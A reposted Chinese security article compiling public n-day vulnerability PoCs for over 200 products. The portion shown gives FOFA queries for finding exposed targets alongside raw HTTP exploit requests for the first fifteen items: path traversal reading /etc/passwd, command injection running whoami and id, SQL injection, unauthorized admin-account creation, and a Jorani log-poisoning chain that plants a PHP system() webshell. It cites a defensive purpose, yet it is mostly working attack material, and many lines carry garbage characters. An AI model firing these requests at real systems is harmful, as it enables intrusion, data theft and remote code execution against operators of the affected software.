互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
5 R1 b+ g: e# }$ r% A& Q以下文章来源于网络安全新视界 ，作者网络安全新视界
8 `; S) t  }$ P: F5 L" K
- m; }0 \/ f8 x# E! F; _发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

0 V; P# h1 y# @% ?漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

. @( j% p9 F+ S7 e+ s文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
) V, Z! W& W" J1 o0 C/ b- x( [0 H
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

, O% f0 O3 e+ I; I8 d+ g" {# F
7 a5 k$ x6 L  J+ L+ \/ M声明
$ `. ^, i6 q; Z! f0 L# O
/ D: F8 d7 z0 F( o为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
7 R$ ~" y& V; w% @* i3 T
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
0 i% _1 o% o6 M9 K  z
: {7 w- A. X7 O
: F  V3 X' Q6 T$ f2 U+ K+ e3 f
. a7 I1 _& u8 x+ g) E目录

01

1. StarRocks MPP数据库未授权访问
$ W! O: [0 W' J- l* ~) m) [- g2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
# t( i1 P8 L! I( _8 H5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
# y" k) B9 a: }7 }) @9 A, ~' e7. 鸿运主动安全监控云平台任意文件下载
. P2 e9 a3 A  j! P9 D8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
) ?4 x5 K: Q" _4 h12. Jorani < 1.0.2 远程命令执行
# @/ N- [9 H+ k* `- o13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
3 L, C& P( a4 u" X8 U9 U; N15. 华夏ERP getAllList信息泄露
# Y. k9 K' G" \16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
# B( Z8 ]9 ?& @, P8 G20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
$ I) I6 c3 P: t( o2 m- ~9 [22. 大华ICC智能物联综合管理平台 log4j远程代码执行
; W4 {6 ^3 `4 A: J7 k& @23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
: V( m) z1 Z0 ~1 R& c24. 用友NC 6.5 accept.jsp任意文件上传
8 R$ b" J5 N+ [2 h0 s+ V25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
, y4 N8 N- @! R# V+ m2 e29. 用友NC down/bill SQL注入
. u8 |8 ~4 ?5 J' b' x0 G4 |30. 用友NC importPml SQL注入
; c! Y6 ?$ \( A31. 用友NC runStateServlet SQL注入
5 u; y& s8 D: G& Y$ B32. 用友NC complainbilldetail SQL注入
" F2 \" P8 W2 J+ w  ~6 Q0 i33. 用友NC downTax/download SQL注入
! L3 R" x+ ]( z! b: H0 v2 G9 s34. 用友NC warningDetailInfo接口SQL注入
" t% W5 {1 g" ?35. 用友NC-Cloud importhttpscer任意文件上传
# z9 b8 Y2 F9 \, M( B; N  D36. 用友NC-Cloud soapFormat XXE
2 E6 r! O* \: E4 H37. 用友NC-Cloud IUpdateService XXE
& h6 |" X. A! N: g' y6 q38. 用友U8 Cloud smartweb2.RPC.d XXE
& P8 o' p5 g, ]& y39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
( ^; m5 i0 D& D, F$ l& W  f9 Z41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
2 i- n4 T2 B  r9 v42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
  n9 n. B! h) q$ K46. 用友GRP-U8 sqcxIndex.jsp SQL注入
0 n: k- a* g: F5 l47. 用友GRP A++Cloud 政府财务云 任意文件读取
; M' @' k; G0 e, Y2 F48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 P8 ?& G: t7 B( R1 @50. QDocs Smart School 6.4.1 filterRecords SQL注入
& o$ C4 }9 W$ ^/ N; p% @51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
: h/ h# m2 \# k/ T* d) V52. 泛微E-Office json_common.php sql注入
  w: r! |) Y) j/ \$ L9 j53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
* g4 n, E& y) n  q3 S. ~* }55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
; o& G' \+ @, W; e# }57. 畅捷通T+ keyEdit.aspx SQL注入
0 o. c7 d3 ?7 {+ @58. 畅捷通T+ KeyInfoList.aspx sql注入
1 }9 t) X7 h6 N5 `& H+ E59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
1 o. S$ v' S0 G# N# I6 v( X61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
! V6 C" N( C6 A4 D62. IP-guard WebServer 远程命令执行
% Q- P! [! V' W" [( }6 p: C63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
/ i( T+ w2 J6 e" u65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
, Y2 P7 F* t) c2 l) G  R# v+ d67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
* U& U" ^9 L  r. ]3 P72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
7 |9 Y& r/ Y$ [: ~6 b75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
6 J% L! b2 {6 u8 l77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ k3 d7 m6 r) m5 g0 Q, x78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
3 d* H/ h2 [9 ~* h( z80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
, R  F+ r# x7 E  B: H  p9 ~/ F, g81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
+ N6 ?4 J6 t. m2 N; }% ~83. JeecgBoot testConnection 远程命令执行
0 n* s1 B5 B& L2 H6 f84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' X0 P" t* k/ X1 P85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
4 i$ V/ Y5 `1 s, O89. 致远互联FE协作办公平台editflow_manager存在sql注入
7 ]1 _) A; f1 q% q& Y6 t& i90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) V* ^' c. U8 @7 j# O2 }91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
1 f3 {% B' z4 G1 V$ r' S, E92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
: H8 W; K; f/ ?$ P3 Y( q95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
1 }! |* D+ y( [- s* s/ d96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
5 O0 w# q  H) O( b/ e98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
7 R$ W& d% P  `1 h6 Y100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
, r& e6 H! U, Q" z$ `104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
# D4 k& [1 \: x2 F% e& P% {5 a105. SpringBlade v3.2.0 export-user SQL 注入
' I& |# c; z& D( c( v106. SpringBlade dict-biz/list SQL 注入
( V% }* ^* D' S/ p# _& e7 c107. SpringBlade tenant/list SQL 注入
) Y0 ]6 Z9 k; A" Y108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
3 R& h- f5 T: I% s112. WordPress Plugin NotificationX SQL 注入
( I, o0 l6 M' x7 ?+ t113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
' K: N: H  @/ f( e116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
0 h: Y$ ?5 u. X+ `119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
' I$ }! T+ s: m+ A1 P) E3 B5 D, C123. Atlassian Confluence 模板注入代码执行
5 Z' F# E# S. o( `1 _# }( r, F124. 湖南建研工程质量检测系统任意文件上传
. e* {3 N6 F9 f1 n- K' o# X8 ?125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
$ ]1 R' K% `7 a. V2 S) G) J! ]128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
9 a9 H- B3 q- V8 K130. Laykefu客服系统任意文件上传
/ [, f" u- B+ M8 X3 X% I& L131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
; [' G: ~. i: c& w: y0 }+ }133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
1 `, J3 W5 I- |135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
8 p7 X% Y; A4 n4 u$ I" g3 e136. NextChat cors SSRF
$ U& D! l5 m1 g! g# k137. 福建科立迅通信指挥调度平台down_file.php sql注入
2 w% _  l6 S  @' G/ J6 L8 e138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
) M5 U8 I# E7 G5 @- S: d1 ^140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
8 z9 u* f( h' ^1 x141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
5 h5 m( z( N* t- L, V/ f& d. p142. CMSV6车辆监控平台系统中存在弱密码
& j  b) z* V) i/ M143. Netis WF2780 v2.1.40144 远程命令执行
  B( ]1 u! v/ l# S6 E144. D-Link nas_sharing.cgi 命令注入
9 p6 J* y! I; d, D- V" }6 n4 r145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
0 h- k  v& @6 G  V7 j+ |) u( x147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
  W$ C2 ~  f% ?( X. v) k151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
- d- S1 i4 t! Q  x153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
! |9 w: o7 y) {$ |! ?) \8 W" ~. N155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
* M6 V: c! ?, n4 Y  F% z158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
, P/ |7 U  v- E% p. X161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
! M. N) l4 ]' y- G163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  {+ U  o% O: E0 |) S* }- ~1 J164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
  ~: }' L9 ^2 Z+ g8 Z165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
6 P9 ]/ q  F% b2 W* T0 F168. 宏景EHR OutputCode 任意文件读取
& }* L& V: ]+ H2 f169. 宏景EHR downlawbase SQL注入
, \- ~1 N$ H+ m170. 宏景EHR DisplayExcelCustomReport 任意文件读取
: Y3 @" n: ~" X  p3 c+ n5 F# R171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
% _6 H& X- g$ d% K) Y& f173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
% L- I" L  d+ L& T! ]. V1 Z% R; L6 R176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
5 E- J3 M/ ~' _/ a3 l178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
( r3 b6 H9 E7 n7 ~0 x180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
$ s4 P: H3 U# h9 g186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
2 `: \' u. Y( u( i$ e190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 P& l' h8 K1 {+ h191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
) R& M# |- j  `- L192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
6 x/ v; H) I8 q3 e194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
9 m! e4 _& [9 Z198.  阿里云盘 WebDAV 命令注入
# [% ?$ J2 P& P) j199. cockpit系统assetsmanager_upload接口 文件上传
: D1 }0 F- g9 B% t3 Q$ c7 Q200. SeaCMS海洋影视管理系统dmku SQL注入
2 f5 h" ?. O" W7 F201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

' g  s  U8 ~; j1 H02

/ l$ m9 n) B& Q1 [, T0 j4 S1. StarRocks MPP数据库未授权访问
1 E, Y) G/ ~& C( q9 UFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
7 y/ l6 m, P( p. ^% DHost: URL
4 ?3 T4 m) B+ [% v. @( l5 d
2 G" Z( Z/ T3 N. g" `" I
- H  ^5 y; U6 M2 b7 R, N! T2. Casdoor系统static任意文件读取
1 B$ \4 t# G7 L" i( @. q) \FOFA ：title="Casdoor"
4 J) S. _$ P4 q* |+ q6 ZGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
6 s/ z. r9 U9 x+ e. W9 [Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( [' h' s- L0 L. k& w$ _2 d* CConnection: close
Accept: */*
' p' R4 l- W2 @! A+ S1 jAccept-Language: en
! Q7 o7 V+ }( D8 C0 ]+ `Accept-Encoding: gzip
+ ]$ Q3 q+ P- t+ \: U; e
; m! ^! ?$ F; F6 `4 i0 G
/ s# V: t( i- P, q1 E3. EasyCVR智能边缘网关 userlist 信息泄漏
' w1 h2 Y0 x# d! ^0 r" C+ u( E" \FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

4 e4 L1 S9 {; j2 J
: B/ }! _0 j7 z* }5 X, t5 C9 M- Y- Z7 u4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
  j6 Y9 U. v" M/ S. A% O) O
2 w: U1 h" ^' c# F8 y8 n  p3 ~password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
& g& p6 z6 R9 b# _0 s( e# j7 C5 OHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

* i2 [% Y$ S7 e" Z! _name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
' E5 y- S1 H' B/ x3 F$ J2 u6 e3 l3 _2 n
7 {/ {; s! W- U! b  o+ v
5. NUUO NVR 视频存储管理设备远程命令执行
& m6 G7 @7 j) i4 y. ]# y: C9 W( lFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
2 f8 f& E1 z  w9 K" L; P1 g: u5 j# }Host: xx.xx.xx.xx

+ q# P0 a1 Z& Z# g  ]& \0 q
; J% Y# B5 L! J. b3 C$ |4 Y6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
3 a" c; P" P2 k$ ?1 m% Z, \Host:

0 G/ \2 T9 k4 l/ c% f9 f7 q9 V
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
, @9 G$ ^( z$ t: d( oGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
  v4 T0 K3 G9 nHost:
8 Q( v( e7 e6 p8 ~' A- k6 }0 i& z
6 ]( n9 D, m1 F( o: X: p! q
* K" T" t2 w$ t  Y+ Y9 c; I8. 斐讯 Phicomm 路由器RCE
+ j. F, f' W# W% G; \6 |, u  A+ DFOFA：icon_hash="-1344736688"
5 r7 ^1 Z( N8 q8 c3 W6 Y, d默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
9 \6 [9 M* G2 oCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
0 L8 }4 ]' o. \. G+ \) s2 wUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
; o# H6 `6 K0 S4 O* H6 u
: U! \% {% I8 N  M------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
: j9 D# k- v' V6 [; ~: q; v
%s
% n3 \, `0 r; `------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
# e# Q- E; Y" ?3 F
12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
+ r, t: @- a8 i, q1 u: e$ z
%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"


9 a5 i# ?+ T& F5 i6 |, {------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
" p9 n6 m0 y0 ~& aFOFA：app="Doccms"
4 H: w+ h+ k# Q: @) t8 mGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
; ?& v8 M7 ]* {# q5 D1 {Host: x.x.x.x


payload为下列语句的二次Url编码

* [" v4 `2 j+ D0 k8 \+ h' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
5 z# F3 n1 U6 G
6 ?. b: z8 c' G; O* ?10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

4 t# Q# g5 g7 v% D% D; M文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
0 D! O  H' p0 n2 |6 yAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

6 H, N; i7 H. U------WebKitFormBoundaryxdgaqmqu
9 L. t( ?% h  I  ^Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
2 g3 U! t9 S9 i* S% h9 L/ y: N9 X

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
8 ?2 W$ g  k0 O% r. tGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
  Q" ?8 u; ^/ K' v! i' hPragma: no-cache
Cache-Control: no-cache
/ J+ h: a7 {; r. ~Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
. N# ]+ g: G5 _& R( cConnection: close
* }1 Z2 J; L! t  d

12. Jorani < 1.0.2 远程命令执行
& `) F, V- y0 q; @FOFA：title="Jorani"
第一步先拿到cookie
* O6 U& R0 M8 I" D/ g1 |GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
7 v7 ]+ e+ X0 x& ?. a! L, a4 NAccept-Encoding: gzip
* W& k; p! J5 n2 }! t1 f: y

* @5 C$ N- e. v响应中csrf_cookie_jorani用于后续请求
) M. {# V) u! f  DHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
& Z' d9 I+ Q; K8 vExpires: Thu, 19 Nov 1981 08:52:00 GMT
: Y% D+ F' a2 k, h6 {0 o) DLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
- C- t9 V% o6 r1 WServer: Apache/2.4.54 (Debian)
) ~1 E! x0 q; ?0 j$ ?/ Y) _Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
: s, {3 ~4 c) E  f/ f% sSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

- m( d; \# l. _/ J8 ~) V! v( e! S
# d; `# a  C" R  [, f- C) WPOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
* T. y) W" v/ \! q; q- m7 i7 t2 I3 mConnection: close
Content-Length: 252
( I+ w" y2 \+ nContent-Type: application/x-www-form-urlencoded
& q+ t) g+ S; P( UCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
- h! |  ]* b5 [
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
- I$ ?5 |4 Z( i+ z2 X/ T; r

; D8 \( A; P) [7 t3 @3 f
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
& I5 ~+ J: K+ v% \GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 B* [, _; v$ d6 K5 @5 D6 N3 ZConnection: close
5 c9 [8 h# X6 U: X+ [- I8 cCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
9 d; U! D1 ^5 s5 `! K

13. 红帆iOffice ioFileDown任意文件读取
8 }5 x9 ?- w/ E( j* ?FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
" V# x7 O- f1 ~% Q0 T- Q5 GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
4 o+ r& {" y- _Connection: close
5 B; n; {1 P6 v! oAccept: */*
( `# r6 b/ L/ }) ]Accept-Encoding: gzip
) j/ ~* o7 u- a- C" F* O' }2 u) O; s

14. 华夏ERP（jshERP）敏感信息泄露
& b# v( }3 q: lFOFA：body="jshERP-boot"
泄露内容包括用户名密码
8 j0 H! ?. O6 {GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
. C- P  R% y. K; ]' }, ^5 U0 AAccept: */*
Accept-Language: en
* j; U1 r: M: M" `: Z2 jAccept-Encoding: gzip

5 P, O3 f* b8 b* X/ X1 G4 _9 V
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
& |( y. C7 h2 ^2 q* L, IFOFA：body="jshERP-boot"
泄露内容包括用户名密码
3 x1 Z  @: U0 y5 }3 b, l0 rGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
2 X. {0 L& U# A' s& J) e  kHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
/ X; U: f) I$ x& [9 m  D9 q( p5 nConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
% M( X1 @/ w7 P" L, |Accept-Language: en
! [! C- b, S' S+ @sec-ch-ua-platform: Windows
Accept-Encoding: gzip


16.  红帆HFOffice医微云SQL注入
